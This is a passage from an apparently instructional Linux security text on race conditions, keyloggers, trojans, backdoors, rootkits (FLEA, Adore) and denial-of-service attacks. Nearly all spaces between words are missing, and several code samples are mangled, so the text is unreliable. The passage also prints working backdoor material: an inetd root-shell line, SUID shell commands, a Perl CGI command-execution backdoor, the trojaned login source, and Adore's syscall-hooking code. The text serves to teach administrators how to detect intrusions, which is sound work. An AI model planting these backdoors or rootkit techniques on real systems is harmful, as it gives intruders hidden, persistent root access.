Wetendtothinkofaprogram'sactionsasoccurringatomically,i.e.,inoneunit.Inreality,a finite timegap exists between each statement being executed. Consider the following Perl script,whichimposestheBashshellonto/bin/shusers: open(IN,"</etc/passwd")||die$!; chomp(@lines=<IN>); closeIN; open(OUT,">/etc/passwd")||die$!; flock(OUT,LOCK_EX)ordie"Can'tlock/etc/passwd:$!"; foreach(@lines){ printOUT($_=~s/\/bin\/sh$/\/bin\/bash/),"\n"; } closeOUT; InLines13,/etc/passwdisopenedandreadintoanarray,removingthetrailing\nfromtheend ofeachline.Havingreopened/etc/passwdforwritingonLine7,aforeachlooptheniterates througheachlineofthearray,substitutinganyoccurrencesof/bin/shfor/bin/bash,andwriting theoutput.Butwhathappensifanotherlegitimateprocessattemptstomodify/etc/passwdwhile thisprogramisrunning?Anychangesmadebytheotherprocesswillsimplybeclobberedas thecontentsof@linesarewrittenout.Thisconstitutesaracecondition:twoormoreprocesses simultaneouslyaccessingthesameresource,usuallyafile,theoutcomebeingdependenton whichprocessgetstherefirst.Thismayseemlikemoreofatheoreticalriskthetimedelay between two sequential commands being executed is very small but the problem is compoundedbytheLinuxkernelsmultitaskingnature.Oneofthekernel'sjobsistojuggleCPU time between each running process, creating an illusion that they are all running simultaneously.ItdoesthisbyallocatingeachprocessasliceoftheCPUtime(infact,theyare calledtimeslices),thesizeoftheslicedependingonthepriorityoftheprocess.Afterthistime hasexpired,executionswitchestothenexttask.Userlandprogramshavenowayofcontrolling this,soitispossiblethatexecutionmaypauseinthemiddleofasequenceofcommandssuch as: if(access("/tmp/tempfile",R_OK)==0){ 29

fd=open("/tmp/datafile"); .... Thetimeduringwhicharaceconditionsuchasthismayoccurisreferredtoasthewindowof vulnerability.RedHatdiskcheckRacetheRedHatPowerToolsSuite(Versions6.07.0) containsaprogram,diskcheck.pl,whichchecksdiskusageonanhourlybasis,andnotifiesthe administrator if the filesystem is becoming full. The generated email is first written to a temporaryfilein/tmpnameddiskusagealert.txt.$$,where$$representsthepidoftheprocess. Becauseanattackercanpredictwhatthetemporaryfilenamewillbe(bylookingintheprocess listwhilediskcheck.plisrunning),itnowbecomespossibleforhimtoclobberafileforwhichhe hasnowriteaccess,viaasymboliclink.Forexample: lns/etc/passwd/tmp/diskusagealert.txt.22401 Now when diskcheck.pl (which is running as root), attempts to open /tmp/ diskusagealert.txt.22401, it ends up opening /etc/passwd instead, overwriting user account detailsintheprocess.Nobodywillbeabletologintothesystemuntiltheadministratorrepairs thedamage.Raceconditionscanbedifficulttowinbecauseofthetiminginvolveditmaybe necessarytoruntheraceseveralhundredtimesbeforeachievingsuccess.Themostprofitable programstoexploitaretypicallythoserunningSETUID,becausethecrackermaylaunchthem asmanytimesasnecessary.

VirusesandWorms
Thecommonlyaccepteddifferencebetweenvirusesandwormsisthatwhilevirusesrequire userinterventiontospread,suchasauseropeningamaliciousemailattachment,wormsself propagate.Bothmayormaynotcontainapayload,butevenintheabsenceofone,theamount of network trafficgeneratedcanstillcauseconsiderabledamage,especially inthecase of worms. UNIXingeneralandLinuxinparticularhavebeenluckysofar,withfewvirusesorwormsbeing reported.SomehavecitedLinuxsstrongmultiusermodelasonereason,becauseitmakesit difficultforvirusestospread.Othershaveattributedittothetraditionoffreelyavailablesource code,allowinganymaliciouscodetobequicklydiscovered.Manymoresaythattherelatively lowpercentageofLinuxusers(comparedto,say,Windows)alsoindicatesthatthereislittle interestindevelopingLinuxviruses. 30

OneinterestingdifferencebetweenthevirusesandwormsaffectingLinuxandthoseaffecting Windows is thepayload. Windowsviruses delete files andrender thesystem unusable.In Linux, the trend seems to be towards a payload that benefits the viruss creator, such as allowingthemachinetobeusedaspartofadistributedDoSattack.Thisisnotalwaysthe case,butthisbehaviorhasbeenobservedinalargeproportionofthevirusesseenunder Linux.

TheMorrisWorm
Theworld'sfirstmajorcomputerwormwaslaunchedinNovember1988.WrittenbyRobert Morris, a Cornell University student, the Morris worm exploited known vulnerabilities in SendmailandFingerdandspreadquicklyacrosstheInternet(which,in1988,wasstillmadeup ofmainlyuniversitiesandgovernment/militaryinstitutions).Theworm'sfirstlineofattackwasto connecttoaremotemachine'sSendmailserver.Byinvokingdebugmode,commandscouldbe pipeddirectlytotheshellinthiscase,asmallCprogramthatconnectedbacktotheattacking machineandtransferredacrosstherestofthefiles.IftheSendmailexploitfailed,theworm usedabufferoverflowinthefingerdaemontoachievethesameresult.Withthewormnow runningonthevictimhost,thecyclerepeated,withatwist:RemoteShell(RSH)andRemote Execute(REXEC),whichusehostbasedauthentication,offeredathirdwayofpropagatingthe worm.Bybruteforcing/etc/passwd(using/usr/dict/wordsasthewordlist),thewormcould assumetheidentityofotherusers,andlogintoothermachines. TheInternetwasamore trustingplacebackthen,andtheworm,whichwasreleasedintothewildatMITinanattemptto disguiseitsorigin,spreadataratethatalarmedevenMorris.Amistakeinthecodealsomeant that the worm could infect the same machine multiple times. The majority of the damage inflictedwasaresultofserversgrindingtotheirkneesastheyattemptedtoexecutemultiple instancesoftheworm.HistoryhasbeenkindtothenaveRobertMorris.Today'sviruswriters are generally considered the lowest of the low, and many hackers feel a certain empathy toward Morris, perhaps seeing a little of their own sense of mischief and curiosity in him. Certainly Morris' intentions were not malicious the worm contained no payload; its only purpose was to replicate and spread. A full analysis of the Morris worm is available at http://www.worm.net.

31

KeyLogging
Thebestencryptionintheworldisuselessifanattackercansilentlylogkeystrokestypedatthe keyboard.InLinux,keyloggersareavailablethatruneitherinuserspace(asaregularprogram) orkernelspace(asakernelmodule).Hereislklinaction: #lklmpete@localhostlkkeymaps/us_km = Startedtologport0x60.Keymapiskeymaps/us_km.Thelogfile is(null). (o)(2)(<Esc>)(NULL)(')(7)(<Alt>)(t)(i)(n)(y)()(l)(e) (c)(r)(o)(<Del>)(t)(r)(o)(n)(c)()(d)(e)(v)(i)(e)(s)()(p)(l)(u) (g)()(i)(n)(t)(o)()(t)(h)(e)()(<Del>)(<Del>)(<Del>)(<Del>) (<Del>)(s)(i)(t)()(b)(e)(t)(e)(e)()(t)(h)(e)()()({)(s)(/) (<Del>)(<Del>)()(?)()(P)()(D)(R)(O)(S)(:)()(P)(@)({)(:) (I)(H)()(N)()(Y)()(L)(R)(U)(B)(P)(S)(T)(F)(<)()(S)(N)(Y)(J) (R)(D)(P)(L)(Y)()(P)(N)()(Y)(J)(R)()({)(C)()(t)(w)(r)(3)(6) (5)(<Del>)(,)(l)(g)(i)(n)(g)()(k)(e)()(s)(t)(r)(o)(k)(e)(s)() (o)()(n)(o)(n)()(c)(o)(l)(<Del>)(<Del>)(o)(l)(i)(t)(i)(e)()(m) (e)(m)(o)(r)(y)(.) Eachcapturedcharacterisenclosedinbraces,and,ifyoulookcarefully,youwillseeapartof thecontentsofthefirstparagraphofthenextsection.Thisparticularkeyloggercanalsoemail captureddatatotheattacker,freeinghimfromtheneedtoreaccessthetargetedmachine. HardwareLoggers Asidefromsoftwareloggers,anumberofdevicesexistforloggingkeystrokesatthehardware level.ThesetinyelectronicdevicessitbetweenthePS/2orserialplugonthekeyboardandthe socketonthePCtower,loggingkeystrokestononvolatilememory.Replayingcaptureddatais simplyamatteroftypingthecorrectpassword.Theloggerdetectsthisanddumpsitscontents ontothescreen.

32

TROJANSANDBACKDOORS
Virusesandwormspropagatetoasmanyhostsaspossible,causingintentionaldamagealong theway.Trojansprovideanattackerwithameansofremoteentryintoasystemandmostdo not selfreplicate. Trojans rarely cause any damage because their intention is to remain undiscovered,andmaybefoundinbinariesorsourcecodetheformerbeingmorelikely. TrojanstaketheirnamefromthefamousTrojanhorserecountedinHomer'spoem,TheIliad. Incomputing,thetermdescribesanyapparentlyharmlesscodethathasahiddenfeatureor payload.ATrojanstypicalactionsinclude:

Mailing/etc/shadowtotheauthor Addingarootshellto/etc/inetd.confor/etc/xinetd/ Addingauserwithrootaccessto/etc/passwd Hidingfiles,processes,andnetworksocketsusedbytheTrojan

Backdoorsaregenerallyinstalledbyanattackerwhohasachieved(root)accessandwantsto holdontoit.Itisworthnotingthatmuchofthefunctionalityofthetwooverlaps;asinthe previousexamples,aTrojantypicallyinstallsabackdooritself.Infact,aTrojanisabackdoor thatthesystemadministratoristrickedintoexecuting. TheSendmailTrojan Thebigsecuritystoryofautumn2002wasthatftp://ftp.sendmail.orghadbeencracked,anda trojanhadbeenplantedintheSendmail8.12.6tarball.Anestimated200usersdownloadingthe sourcecodewereaffectedbetween6thAugustand28thSeptember(thisfigurewouldhavebeen muchhigher,buttheftpdwasreportedlyreconfiguredsothatonly1in10usersreceivedthe Trojanedcopy).Buildingthesourcecodecausedthebackdoortobecompiledandlaunched. ThebackdoorthenopenedaTCPconnectiontoafixedremotehost,aclue.com,andawaited instructions.

33

Modifying/etc/passwd Perhapsthemostcommonbackdooristheextrarootaccountaddedto/etc/passwd,andthe presenceofoneoftheseoranyotherunknownaccountshouldimmediatelyalertasystem administrator.Asidefromuseraccounts,/etc/passwdalsocontainsalotofsystemaccounts, andacunningattackerwillattempttomasqueradehis backdooraccountasoneofthese. Considerthefollowingexample: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin printer:x:0:0:printer:/bin/bash uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTPUser:/var/ftp:/sbin/nologin Didyouspottheerroneousaccountinthislist?Theprinteraccounthasrootlevelprivileges (theuidis0inthethirdfield),andhas/bin/bashasitsloginshell.Mostsystemaccountsuse /sbin/nologinor/sbin/falsetopreventusersfromloggingintothem.Ifindoubt,alookthrough /etc/shadowshouldclarifytheissue: root:$1$K31Ojx8J$cqS7sHv2rZp2erEfCp.SW1:12222:0:99999:7::: bin:*:12177:0:99999:7::: daemon:*:12177:0:99999:7::: adm:*:12177:0:99999:7::: lp:*:12177:0:99999:7::: sync:*:12177:0:99999:7::: shutdown:*:12177:0:99999:7::: 34

halt:*:12177:0:99999:7::: mail:*:12177:0:99999:7::: printer:1$DrKD1mRs$TxPP4rs8Fw1E/oQ5K5e3HO1:12177:0:99999:7::: news:*:12177:0:99999:7::: uucp:*:12177:0:99999:7::: operator:*:12177:0:99999:7::: games:*:12177:0:99999:7::: gopher:*:12177:0:99999:7::: ftp:*:12177:0:99999:7::: The second field of this file is the shadowed password; a * indicating that the account is disabled,and!!indicatinganullpassword.Somethingisverywronghere.Anintruderhas probablymodifiedentriesinthesefilesinordertoallowhimselfprivilegedaccess. Modifying/etc/inetd.conf Anotherpopularbackdooristherootshellin/etc/inetd.conf.InetdistheInternet"superserver", adaemonresponsibleforoverseeingmuchofthenetworkingservicesinLinux.Theformatof /etc/inetd.confisasfollows[4]: <servicename><sockettype><protocol(tcporudp)><flags><usertorunas><pathto server><arguments> Forexample: ftpstreamtcpnowaitroot/usr/sbin/tcpdproftpd #telnetstreamtcpnowaitroot/usr/sbin/tcpdin.telnetd pop3streamtcpnowaitroot/usr/sbin/tcpd/usr/sbin/popa3d Thecrackertypesthefollowinglinetocreateabackdoor: 60000streamtcpnowaitroot/bin/shshi NowanybodyconnectingtoTCPport60000willbedroppedintoarootshell.Rememberthat thefirstargumentininetd.confentriesissimplyadescriptivename,andismappedagainst /etc/services.Donotbefooledby: 35

nntpstreamtcpnowaitroot/bin/shshi Thisisarootshelllisteningonport119(theportusuallyassociatedwithNNTP),notalegitimate NetworkNewsTransferProtocol(NNTP)server.Itisalsopossibletolaunchasecondinstance oninetdusingadifferentconfigurationfile,forexample: #inetd/tmp/backdoor_inetd.conf Thismethodismorenoticeablebecausetwoinstancesofinetdnowshowupintheprocess table.MostLinuxdistributionsnowincludethemorepowerfulxinetdasareplacementforinetd. Withxinetd,anattackermayplacehisbackdoorineither/etc/xinetd.conforthe/etc/xinetd.d/ directory.Manynetworksemployaggressivefilteringofinboundtraffic,butveryfewapplythe samerigorousstandardstopacketsleavingthenetwork.Anattackercaneasilycircumvent theserestrictionsbyusinganoutboundrootshell,suchasintheSendmailTrojan.Thismethod alsoallowsattackerstoreachmachineswithinternaladdresses,whichwouldotherwisenotbe reachablefromtheInternet. CreatingSUIDShells Inthismethod,anattackermakesacopyofashell,andsetstheSUIDattributeonit: cp/bin/bash/tmp/.cron_lock chmod4755/tmp/.cron_lock If theattacker already hasa legitimateaccount onthe system, or has added a userlevel account to /etc/passwd (reasoning that a user account is less likely to be noticed by the administratorthanarootaccount),hecannowexecute/tmp/.cron_locktoobtainarootbash shell.TheSUIDshelldoesnothavetoresidein/tmp;indeed,manysystemsperiodicallyclean out/tmp.Ifitisonaseparatepartition,itmaybemountedtodisallowSUIDfilesanyway.The SUID shell can have an inconspicuous name, such as /usr/sbin/kernel_probe or /usr/local/bin/X11reset. CGIAbuse Ifyouarerunningapubliclyaccessiblewebserver,CommonGatewayInterface(CGI)scripts 36

offeranotherpointofreentryintothesystem.Thiscantaketheformofanattackercreatinghis ownCGIscript,or,betterstill,modifyinganexistingscript.AbackdoorCGIcanbeassimple as: #!/usr/bin/perl useCGI; $q=newCGI; print"Contenttype:text/plain\n\n"; system($q>param("command")); TheattackercanthenexecuteanycommandonthemachinebyfetchingtheURL,forexample: http://example.com/cgibin/backdoor.pl?command=lsor http://127.0.0.1/cgibin/backdoor.pl?command=ps%20auxf ManyCGIscriptsusePerlmodules,andasubtlerwayofcreatingabackdooristopoisonone ofthem.Inthepreviousexample,Line2ofthescriptusesCGIinstructedPerltosourcethefile CGI.pm(inmuchthesamewayasC#includestatements).ByeditingtheCGI.pmmodule,a backdoorcanbecreatedthat,asidefrombeingmuchhardertofind,willalsobeaccessible fromthemajorityofCGIscriptsinstalledontheserver.

ROOTKITS
Gainingaccesstoamachineisonlyhalfthebattle;theattackerneedstoensurethat,oncein, theadministratorwillremainunawareofhispresence,andthathemayeasilylogbackinata laterdate.Rootkitsarespecificallydesignedforthispurpose.Basicallyacollectionofsmall programs, rootkits speed up and simplify the process. They may typically consist of a log cleaner(whichattemptstoremovealltracesofthecracker'spresencefromlogfiles),Trojaned versions of common shell commands (such as ls, ps, and netstat), and often an SSHD configuredtolistenonanonstandardportthisistheattacker'smeansofreentry. Rootkitsaredividedintotwotypes.Thestandardtypereplacessystembinariessuchaspsand lswithTrojanedversions,modifiedtohidecertainprocessesorfiles.Whichfilesandprocesses tohideareeithercompiledin,orreadfrom,anexternalfile.Thelattermethodispreferred becauseitallowsthecrackertoeasilyaltertheirbehavior.Thesetypesofrootkitsarenot terriblyhardtodiscover.ThebiggiveawayisthechangeinsizeoftheTrojanedbinaries.By runningstringsonthem,itisusuallypossibletoseewhatisbeinghidden,orthelocationofa 37

configurationfile.Afterthesebinarieshavebeenreplacedwithcleancopies,thesearchfor backdoorscanbegin. ThesecondtypeofrootkitistheLoadableKernelModule(LKM).Theserootkitsare,asthe namesuggests,loadedintotheLinuxkernelasmodules.Byoperatingatthekernellevel,they remove the need for any alterations to system binaries. Consequently, techniques used in discoveringstandardrootkitsareoftenuselessindetectingLKMkits. Althoughtheuseofrootkitsisverywidespread,manyadministratorsstilldonotknowmuch aboutthem.Someofthemostpopularonesaregivenbelow: FLEA TheFLEArootkitconsistsofthefollowingfiles: flea/ flea/install flea/trojs/ flea/trojs/ps.c flea/trojs/netstat.c flea/trojs/du.c flea/trojs/pstree.c flea/trojs/locate.c flea/trojs/process.h flea/trojs/dir.h flea/trojs/pshid.h flea/sshd/ flea/sshd/pg flea/sshd/sshd flea/sshd/tconf flea/sshd/leet/ flea/sshd/leet/ssh_host_key flea/sshd/leet/ssh_host_key.pub flea/sshd/leet/ssh_random_seed flea/cleaner flea/README 38

FLEAconsistsofthefollowingtrojanedbinaries:ps,pstree,netstat,du,andlocate.Backdoors areprovidedintheformofpatchedversionsofsshandulogin. Theinstallscriptmovesthefollowingfiles: /bin/psto/usr/lib/ldlibps.so, /bin/netstatto/usr/lib/ldlibns.so, /usr/bin/pstreeto/usr/lib/ldlibpst.so, /usr/bin/du/usr/lib/ldlibdu.so, /usr/bin/slocate/usr/lib/ldlibct.so andreplacesallofthemwithTrojanedcopies.AsmentionedinREADME,theheaderfilesfor theTrojanedbinariesneededitingtosettheprocessestobehidden.Bydefault,dir.hdefines thefollowinghiddenfiles/directories: #definePROC10"ld" #definePROC11".config" #definePROC12"ssh" #definePROC13"/dev/..0" processes.hdefinesanystringswhichshouldbehiddenfromtheoutputofnetstat: #defineADD6"ssh" #defineADD7"login" #defineADD8"teln" pshid.hdefinesstringstobehiddenfromtheoutputofps: #definePROCESS"/usr/lib/" #definePROCESS2"login" #definePROCESS3"ssh" #definePROCESS4"teln" #definePROCESS5"ftp" #definePROCESS10"cesso" #definePROCESS11"prot" 39

#definePROCESS12"jool" #definePROCESS18"ld" Nowbacktotheinstaller,wheretheuserispromptedtosetapassword,andulogin.ciswritten ontheflyandcompiled./bin/loginismovedto/usr/sbin/login/,andreplacedwiththenewly compiledloginexecutable,thesourcecodeforwhichlookslikethefollowing: ulogin.c: #definePASSWORD*passwordhere* #include<stdio.h> #if!defined(PASSWORD) #if!defined(_PATH_LOGIN) #define_PATH_LOGIN"/usr/sbin/login" #endif main(argc,argv,envp) intargc; char**argv,**envp; { char*display=getenv("DISPLAY"); if(display==NULL){ execve(_PATH_LOGIN,argv,envp); perror(_PATH_LOGIN); exit(1); } if(!strcmp(display,PASSWORD)){ system("/bin/bash"); exit(1); } execve(_PATH_LOGIN,argv,envp); exit(1); } TheattackercannowgetarootshellbysettingtheenvironmentalvariableDISPLAYtothe passwordbeforeheattemptstologintotheinfectedmachine.ItistimetoinstalltheSSHD. Afterpromptingtheattackerforaportandpassword,/lib/security/.config/ssh/iscreatedtohold thehostkeyandconfigfile.Thepgbinaryisusedtoencrypttheenteredpassword,whichis 40

then written to /etc/ld.so.hash. The Trojaned SSHD is then copied over to /usr/bin/ssh2d, launchedinquietmode(q),andanentryisaddedto/etc/rc.d/rc.sysinittostartthedaemonon boot.Finallytherootkitinstallationdirectoryisremoved. TheSSHDbinaryisworthasecondlook.Runningstringsonitbringsupsomestrangeresults, notablyGET/~telcom69/gov.phpHTTP/1.0.Aquickonlinesearchshowsthatthefileisinfected with RST.b, a virus that infects ELF binaries. An analysis of the virus is available at http://www.securityfocus.com/archive/100/247640. Onceinstalled,FLEA(alongwiththeotherrootkitsdiscussedhere)providestheattackeran opportunity to reenter the system at a later date, while hiding his actions from the administrator.Toanuninitiatedadministrator,suchrootkitscanbeverydifficulttospot,and mayallowanintrudertoremainundetectedby,andwithfullcontrolof,thesystemformonthsor evenyears. Adore(2.4.xKernel) AdoreisaLoadableKernelModule(LKM)rootkit.Unlikeotherrootkits,Adoredoesnotneedto replacesystembinariessuchasnetstatwithitsownversionsitinterceptssystemcallsand modifiesthemasrequired: drwxrxrx2peteusers4096Jan32002CVS rwrr1peteusers1275Jan32002Changelog rwrr1peteusers1660Jun252000LICENSE rwrr1peteusers1016May152001Makefile.gen rwrr1peteusers3164May152001README rwrr1peteusers52Jun12001TODO rwrr1peteusers23665Jan32002adore.c rwrr1peteusers2796Dec52001adore.h rwrr1peteusers4212Feb262001ava.c rwrr1peteusers1979Dec232000cleaner.c rwxrxrx1peteusers4181Jan32002configure rwrr1peteusers1904Sep192000dummy.c rwrr1peteusers3417May132001libinvisible.c rwrr1peteusers2527Dec212000libinvisible.h rwrr1peteusers2191May132001rename.c 41

rwxrxrx1peteusers193Mar212001startadore Onwiththeinstallation: #./configure Startingadoreconfiguration... Checking4ELITE_UID...found30 Checking4ELITE_CMD...using15621 Adore'sMakefiledefinesanELITE_CMD,asixdigitnumber(forexample,15621)usedasa sortofpassword.Arandomnumberisused,unlessexplicitlysetbytheuser: Checking4SMP...NO Checking4MODVERSIONS...NO Checkingforkgcc...foundccChecking4insmod...found/sbin/insmodOK Loadedmodules: ipt_MASQUERADE12722(autoclean) iptable_nat149041(autoclean)[ipt_MASQUERADE] ip_conntrack180161(autoclean)[ipt_MASQUERADEiptable_nat] iptable_filter16441(autoclean) ip_tables117685[ipt_MASQUERADEiptable_nat iptable_filter] nfsd673448 parport_pc147240 parport232640[parport_pc] pcmcia_core381120 idescsi80480 3c59x267362 SinceAdoresVersion0.33requires"authentication"foritsservices,youwillbepromptedfora passwordnow,whichwillbecompiledinto"adore"and"ava",soyouwillnotneedtotakeany furtheraction.ThisprocedurewillsaveAdorefromscanners.Chooseauniquenamethatwill notclashwithnormalcallsto: Password(echoed):kermit Preparing/home/pete/rk/adore(==cwd)forhiding... 42

CreatingMakefile... ***Editadore.hforthehiddenservicesandredirected fileaccess*** cp:cannotstat'Makefile':Nosuchfileordirectory #make rmfadore.o cccI/usr/src/Linux/include02WallDELITE_CMD=15621\ DELITE_UID=30DCURRENT_ADORE=42DADORE_KEY=\"kermit\"\ adore.coadore.o Infileincludedfromadore.c:36: /usr/src/Linux/include/Linux/malloc.h:4:2:warning:#warning Linux/malloc.hisdeprecated,useLinux/slab.hinstead. cc02WallDELITE_CMD=15621DELITE_UID=30\ DCURRENT_ADORE=42DADORE_KEY=\"kermit\"ava.c\ libinvisible.coava ccI/usr/src/Linux/includec02WallDELITE_CMD=15621\ DELITE_UID=30DCURRENT_ADORE=42DADORE_KEY=\"kermit\"\ cleaner.cocleaner #lsl total128 drwxrxrx2peteusers4096Oct22003CVS/ rwrr1peteusers1275Jan32002Changelog rwrr1peteusers1660Jun2520:03LICENSE rwrr1rootroot707Oct2603:03Makefile rwrr1peteusers1016May152001Makefile.gen rwrr1peteusers3164May152001README rwrr1peteusers52Jun12001TODO rwrr1peteusers23665Jan32002adore.c rwrr1peteusers2796Dec52001adore.h rwrr1rootroot11320Oct2603:03adore.o rwxrxrx1rootroot14771Oct2603:03ava* rwrr1peteusers4212Feb262001ava.c rwrr1peteusers1979Dec232000cleaner.c rwrr1rootroot860Oct2603:03cleaner.o rwxrxrx1peteusers4181Jan32002configure* 43

rwrr1peteusers1904Sep1914:47dummy.c rwrr1peteusers3417May132001libinvisible.c rwrr1peteusers2527Dec212000libinvisible.h rwrr1peteusers2191May132001rename.c rwxrxrx1peteusers193Mar212001startadore* Wenowhavetheavabinary,andtwoobjectfiles:adore.oandcleaner.o.startadoreissimplya shellscriptthatloadstheadoremoduleintothekernel: #!/bin/sh #Usethisscripttobootstrapadore! #Itwillmakeadoreinvisible.Youcouldalso #insmodadorewithout$0butthenitisvisible. insmodadore.o insmodcleaner.o rmmodcleaner cleaner.csimplyremovesthelastloadedmodulefromthemodulelist.avaactsasafrontendto theadorekernelmodule: #./ava Usage:./ava{h,u,r,R,i,v,U}[file,PIDordummy(forU)] hhidefile uunhidefile rexecuteasroot RremovePIDforever Uuninstalladore imakePIDinvisible vmakePIDvisible Butwhat'stostoptheadministratorfromcompilinghisowncopyofava,andusingittouninstall Adore?ThisiswhereADORE_KEYcomesin.libinvisible.c(usedbyava)definesthisfunction forauthentication: adore_t*adore_init() 44

{ adore_t*ret=calloc(1,sizeof(adore_t)); if(mkdir(ADORE_KEY,0)!=1){ fprintf(stderr,"Couldn'tauthorizemyself." "Tryinganyway...\n"); remove(ADORE_KEY); } ret>version=close(ELITE_CMD+2); returnret; } ItattemptstocreateadirectorywiththenameoftheAdorekey.Ifthereturnvalueis1,theuser isauthenticated.ThisisourfirstexampleofhowAdoresubvertssystemcalls.Switchingbackto thekernelmoduleshowshowthisworks.First,Adoreimportsthesystemcalltable: externvoid*sys_call_table[]; TheREPLACEmacroiscalled: #defineREPLACE(x)o_##x=sys_call_table[__NR_##x];\ sys_call_table[__NR_##x]=n_##x REPLACE(mkdir); Nowanycallstomkdircausesthen_mkdirfunctiontobeexecuted: longn_mkdir(constchar*path,intmode) { charkey[64]; longr,l; if((l=strnlen_user(path,PATH_MAX))<sizeof(key)){ memset(key,0,sizeof(key)); copy_from_user(key,path,l); if(strcmp(key,ADORE_KEY)==0){ current>flags|=PF_AUTH; 45

return1; } } r=o_mkdir(path,mode); returnr; } IfthedirectorynamepassedtomkdirmatchestheAdorekeybuiltintothemodule,return1. Otherwise,calltherealmkdir(nowrenamedo_mkdir),andreturnitsreturncode.Thereis nothing special about the mkdir call. Any syscall could have been sabotaged for the authenticationmechanism,butmkdirhastheadvantageofnotbeingotherwiseusedbyAdore. Adorehijacksothersystemcallsinasimilarmanner,creatingawrapperaroundthecallthat sanitizestheoutput.Here,thenewptracefunctionreturnstheESRCH("Nosuchprocess") errorifthepidismarkedashiddenbyAdore.Otherwise,theoriginalptracefunctioniscalled: intn_ptrace(longrequest,longpid,longaddr,longdata) { if(is_invisible(pid)) returnESRCH; returno_ptrace(request,pid,addr,data); } Adoreng(2.6.xKernel) Theprocessofinterceptingandsanitizingsystemcallsworkedfineinthe2.4.xkernelseries, butthereleaseofthe2.6.xkernelputastoptothat.Thesyscalltablewasnolongerexported, soAdoreneededanothermethodofoperation.EnterAdoreng,whichoperatedontheVFS layer. The Virtual FileSystem (VFS) is an abstract layer that provides a uniform interface betweenthemyriaddifferentfilesystemsthatthekernelsupports.Adorengreplacesexisting handlers for directory listings of the /proc and /filesystems with its own handlers. Because userlandprogramssuchaspsreadtheirinformationfrom/proc,thisprovidesaneffectiveway tohidefilesandprocesses.

46

ATTACKSAGAINSTTHENETWORK
Manyservicesinthepast,suchasBerkleysR*Suite(rlogin,rsh,andsoon),reliedpurelyon the username and IP address of the client as a means of authentication; if your address appearsinanothermachine's.rhostsfiles,youcanrlogintothatmachinewithoutsupplyinga usernameandpassword.Fromasecuritypointofview,thisisnotgood.SecureShell(SSH), Secure Copy (SCP), and Secure File Transfer Protocol (SFTP) provide safer, encrypted alternatives to Berkley's R* Suite, but some hostbased authentication protocols are still commonlyinusethemostcommonisprobablyNetworkFileSystem(NFS).Onemayargue thatthisisadoublesidedcoin;afterall,ifnopasswordistransmitted,thereisnothreatfroman attackersniffingtheconnection,andsubsequentlyusingthepasswordhimself.Despitethat,the move away from hostbased authentication to encrypted, passwordprotected services is consideredbyjustabouteveryonetobeagoodthing.

DENIALOFSERVICE(DoS)
DenialofService(DoS)attackscangenerallybethoughtofasanyattackthatattemptsto deprivelegitimateusersofaserviceofferedbythesystemornetworkbyoverloadingalimited resource,suchasbandwidth,memory,diskspace,orCPUtime.ThemostpopularDoSattacks center around bandwidth deprivation and, particularly when distributed, have been a huge probleminrecentyears,withmanyhighprofileattacksagainstcompaniessuchasYahoo! andeBay. ThesimplestformofbandwidthlimitingDoSattacksistosimplysendmoredatatoamachine thanithasresourcestocopewith.Ifallavailablebandwidthorresourcestothetargetcanbe usedup,legitimatetrafficcannotbeprocessed.Aprimitiveformofthisattackisthepingflood, wherethetargetisbombardedwithInternetControlMessageProtocol(ICMP)echorequests, cloggingupthebandwidthinbothdirections,andputtingastrainonthesystem'sTCP/IPstack, asthetargetattemptstoreplytothepings.Manyadministratorsareunderthemisconception thatblockingincomingpingrequestsatthefirewallwillsolvethisproblem.Althoughthisdoes halt the flow of ICMPs leaving the network, downstream bandwidth between the ISP and perimeterfirewall/routerisstillaffected,sothissolutionisonlypartiallyeffective. Pingfloodingisabattleofbandwidth,becausetheattackermustsaturatethevictim'slinetothe degreethatlegitimatetrafficflowsinefficiently;eventhen,unlessthevictim'sTCP/IPstackcan 47

beoverwhelmedrespondingtotheseICMPpackets,legitimatepacketswillstillgetthrough. The typical corporate network uses a leased line (generally of at least 2 MB) for Internet connectivity,whereastheaveragehomeuseronlyhasaccesstodialuporDSL/cableoften withupstreamtrafficcappedsignificantlylowerthandownstream.Thispresentsaproblemto theattacker,becausethebandwidthoddsarefirmlystackedagainsthim.One"solution"isto launchthepingfloodfromacompromisedmachineonafastnetwork,auniversity,forexample. AnotheristointroduceaDistributedDoS(DDoS)attack.DDoSattacksthenextlogicalstepin pingfloodingusetheavailablebandwidthofmanynetworkstooperate.Ifthethoughtof receiving100kbpsofICMPtrafficfromonecompromisedmachineisworrisome,imaginewhat happenswhen10moremachinesjoinintheattack! UDPfloodingisalsocommon,inadditiontoICMPflooding(anditdoesn'tjusthavetobeICMP echorequeststhatareused).Aswithpingflooding,itisadvantageousifthetargetmachinecan bepersuadedtoreplytotheUDPdatagrams,soportsrunningUDPbasedservicessuchas chargen,echo,andquotearecommonlytargeted.ICMPandUDPtrafficcanbeeasilyspoofed (thesourceaddresschanged),whichcanleadanaveadministratortoassumethatthousands ofmachinesareparticipatingintheattack,andpointanaccusingfingeratinnocentparties. PingPongAttack Inadditiontoofferinganattackertheabilitytohidehisorigin,sourceaddressspoofingalso opensthedoorforsocalledpingpongattacks,namedassuchbecausepacketsbounceback andforthlikepingpongballs.Thestepbystepprocedureisgivenbelow: AnattackeridentifiestwomachinesbothrunningaUDPservicesuchaschargenorecho.We willassumeechointhisexample. TheattackersendsUDPdatagramstoport7(theporttheechodaemonrunson)ofmachineA, withthepacketsforgedtoshowmachineBasthesourceaddress,andUDPport7asthe sourceport. TheechodaemononmachineAreceivesthedatagram,andechoesitbacktowhatitthinksis thesender(machineB). MachineBreceivesthedatagramatitsechodaemon,andechoesitbacktomachineA.

48

